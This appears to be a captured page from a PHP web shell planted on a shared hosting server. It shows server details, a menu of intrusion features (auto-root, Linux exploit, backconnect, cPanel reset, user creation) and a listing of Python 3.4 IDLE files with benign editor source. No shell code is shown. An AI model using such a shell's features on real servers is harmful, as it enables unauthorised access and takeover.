Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
python34 /
lib64 /
python3.4 /
idlelib /
[ HOME SHELL ]
Name
Size
Permission
Action
Icons
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxr-xr-x
idle_test
[ DIR ]
drwxr-xr-x
AutoComplete.py
8.99
KB
-rw-r--r--
AutoCompleteWindow.py
17.32
KB
-rw-r--r--
AutoExpand.py
3.32
KB
-rw-r--r--
Bindings.py
2.97
KB
-rw-r--r--
CREDITS.txt
1.82
KB
-rw-r--r--
CallTipWindow.py
5.89
KB
-rw-r--r--
CallTips.py
5.79
KB
-rw-r--r--
ChangeLog
55.07
KB
-rw-r--r--
ClassBrowser.py
6.83
KB
-rw-r--r--
CodeContext.py
8.15
KB
-rw-r--r--
ColorDelegator.py
9.47
KB
-rw-r--r--
Debugger.py
18.32
KB
-rw-r--r--
Delegator.py
665
B
-rw-r--r--
EditorWindow.py
64.51
KB
-rw-r--r--
FileList.py
3.72
KB
-rw-r--r--
FormatParagraph.py
7.12
KB
-rw-r--r--
GrepDialog.py
5
KB
-rw-r--r--
HISTORY.txt
10.08
KB
-rw-r--r--
HyperParser.py
12.58
KB
-rw-r--r--
IOBinding.py
19.31
KB
-rw-r--r--
IdleHistory.py
3.96
KB
-rw-r--r--
MultiCall.py
18.14
KB
-rw-r--r--
MultiStatusBar.py
1.32
KB
-rw-r--r--
NEWS.txt
38.9
KB
-rw-r--r--
ObjectBrowser.py
3.88
KB
-rw-r--r--
OutputWindow.py
4.29
KB
-rw-r--r--
ParenMatch.py
6.56
KB
-rw-r--r--
PathBrowser.py
3.13
KB
-rw-r--r--
Percolator.py
3.17
KB
-rw-r--r--
PyParse.py
19.98
KB
-rw-r--r--
PyShell.py
57.08
KB
-rwxr-xr-x
README.txt
7.53
KB
-rw-r--r--
RemoteDebugger.py
11.73
KB
-rw-r--r--
RemoteObjectBrowser.py
964
B
-rw-r--r--
ReplaceDialog.py
6.48
KB
-rw-r--r--
RstripExtension.py
1.03
KB
-rw-r--r--
ScriptBinding.py
7.87
KB
-rw-r--r--
ScrolledList.py
4.27
KB
-rw-r--r--
SearchDialog.py
2.57
KB
-rw-r--r--
SearchDialogBase.py
6.84
KB
-rw-r--r--
SearchEngine.py
7.31
KB
-rw-r--r--
StackViewer.py
4.32
KB
-rw-r--r--
TODO.txt
8.28
KB
-rw-r--r--
ToolTip.py
3.1
KB
-rw-r--r--
TreeWidget.py
14.67
KB
-rw-r--r--
UndoDelegator.py
10.56
KB
-rw-r--r--
WidgetRedirector.py
6.71
KB
-rw-r--r--
WindowList.py
2.41
KB
-rw-r--r--
ZoomHeight.py
1.27
KB
-rw-r--r--
__init__.py
288
B
-rw-r--r--
__main__.py
159
B
-rw-r--r--
aboutDialog.py
6.53
KB
-rw-r--r--
config-extensions.def
2.9
KB
-rw-r--r--
config-highlight.def
2.46
KB
-rw-r--r--
config-keys.def
7.59
KB
-rw-r--r--
config-main.def
2.5
KB
-rw-r--r--
configDialog.py
62.8
KB
-rw-r--r--
configHandler.py
31.44
KB
-rw-r--r--
configHelpSourceEdit.py
6.51
KB
-rw-r--r--
configSectionNameDialog.py
3.91
KB
-rw-r--r--
dynOptionMenuWidget.py
1.94
KB
-rw-r--r--
extend.txt
3.56
KB
-rw-r--r--
help.html
40.16
KB
-rw-r--r--
help.py
9.47
KB
-rw-r--r--
help.txt
17.48
KB
-rw-r--r--
idle.py
400
B
-rw-r--r--
idle.pyw
570
B
-rw-r--r--
idlever.py
415
B
-rw-r--r--
keybindingDialog.py
12.13
KB
-rw-r--r--
macosxSupport.py
8.48
KB
-rw-r--r--
rpc.py
20.29
KB
-rw-r--r--
run.py
13.35
KB
-rw-r--r--
tabbedpages.py
17.99
KB
-rw-r--r--
textView.py
3.15
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CallTipWindow.py
"""A CallTip window class for Tkinter/IDLE. After ToolTip.py, which uses ideas gleaned from PySol Used by the CallTips IDLE extension. """ from tkinter import Toplevel, Label, LEFT, SOLID, TclError HIDE_VIRTUAL_EVENT_NAME = "<<calltipwindow-hide>>" HIDE_SEQUENCES = ("<Key-Escape>", "<FocusOut>") CHECKHIDE_VIRTUAL_EVENT_NAME = "<<calltipwindow-checkhide>>" CHECKHIDE_SEQUENCES = ("<KeyRelease>", "<ButtonRelease>") CHECKHIDE_TIME = 100 # miliseconds MARK_RIGHT = "calltipwindowregion_right" class CallTip: def __init__(self, widget): self.widget = widget self.tipwindow = self.label = None self.parenline = self.parencol = None self.lastline = None self.hideid = self.checkhideid = None self.checkhide_after_id = None def position_window(self): """Check if needs to reposition the window, and if so - do it.""" curline = int(self.widget.index("insert").split('.')[0]) if curline == self.lastline: return self.lastline = curline self.widget.see("insert") if curline == self.parenline: box = self.widget.bbox("%d.%d" % (self.parenline, self.parencol)) else: box = self.widget.bbox("%d.0" % curline) if not box: box = list(self.widget.bbox("insert")) # align to left of window box[0] = 0 box[2] = 0 x = box[0] + self.widget.winfo_rootx() + 2 y = box[1] + box[3] + self.widget.winfo_rooty() self.tipwindow.wm_geometry("+%d+%d" % (x, y)) def showtip(self, text, parenleft, parenright): """Show the calltip, bind events which will close it and reposition it. """ # Only called in CallTips, where lines are truncated self.text = text if self.tipwindow or not self.text: return self.widget.mark_set(MARK_RIGHT, parenright) self.parenline, self.parencol = map( int, self.widget.index(parenleft).split(".")) self.tipwindow = tw = Toplevel(self.widget) self.position_window() # remove border on calltip window tw.wm_overrideredirect(1) try: # This command is only needed and available on Tk >= 8.4.0 for OSX # Without it, call tips intrude on the typing process by grabbing # the focus. tw.tk.call("::tk::unsupported::MacWindowStyle", "style", tw._w, "help", "noActivates") except TclError: pass self.label = Label(tw, text=self.text, justify=LEFT, background="#ffffe0", relief=SOLID, borderwidth=1, font = self.widget['font']) self.label.pack() tw.lift() # work around bug in Tk 8.5.18+ (issue #24570) self.checkhideid = self.widget.bind(CHECKHIDE_VIRTUAL_EVENT_NAME, self.checkhide_event) for seq in CHECKHIDE_SEQUENCES: self.widget.event_add(CHECKHIDE_VIRTUAL_EVENT_NAME, seq) self.widget.after(CHECKHIDE_TIME, self.checkhide_event) self.hideid = self.widget.bind(HIDE_VIRTUAL_EVENT_NAME, self.hide_event) for seq in HIDE_SEQUENCES: self.widget.event_add(HIDE_VIRTUAL_EVENT_NAME, seq) def checkhide_event(self, event=None): if not self.tipwindow: # If the event was triggered by the same event that unbinded # this function, the function will be called nevertheless, # so do nothing in this case. return curline, curcol = map(int, self.widget.index("insert").split('.')) if curline < self.parenline or \ (curline == self.parenline and curcol <= self.parencol) or \ self.widget.compare("insert", ">", MARK_RIGHT): self.hidetip() else: self.position_window() if self.checkhide_after_id is not None: self.widget.after_cancel(self.checkhide_after_id) self.checkhide_after_id = \ self.widget.after(CHECKHIDE_TIME, self.checkhide_event) def hide_event(self, event): if not self.tipwindow: # See the explanation in checkhide_event. return self.hidetip() def hidetip(self): if not self.tipwindow: return for seq in CHECKHIDE_SEQUENCES: self.widget.event_delete(CHECKHIDE_VIRTUAL_EVENT_NAME, seq) self.widget.unbind(CHECKHIDE_VIRTUAL_EVENT_NAME, self.checkhideid) self.checkhideid = None for seq in HIDE_SEQUENCES: self.widget.event_delete(HIDE_VIRTUAL_EVENT_NAME, seq) self.widget.unbind(HIDE_VIRTUAL_EVENT_NAME, self.hideid) self.hideid = None self.label.destroy() self.label = None self.tipwindow.destroy() self.tipwindow = None self.widget.mark_unset(MARK_RIGHT) self.parenline = self.parencol = self.lastline = None def is_active(self): return bool(self.tipwindow) def _calltip_window(parent): # htest # from tkinter import Toplevel, Text, LEFT, BOTH top = Toplevel(parent) top.title("Test calltips") top.geometry("200x100+%d+%d" % (parent.winfo_rootx() + 200, parent.winfo_rooty() + 150)) text = Text(top) text.pack(side=LEFT, fill=BOTH, expand=1) text.insert("insert", "string.split") top.update() calltip = CallTip(text) def calltip_show(event): calltip.showtip("(s=Hello world)", "insert", "end") def calltip_hide(event): calltip.hidetip() text.event_add("<<calltip-show>>", "(") text.event_add("<<calltip-hide>>", ")") text.bind("<<calltip-show>>", calltip_show) text.bind("<<calltip-hide>>", calltip_hide) text.focus_set() if __name__=='__main__': from idlelib.idle_test.htest import run run(_calltip_window)
Close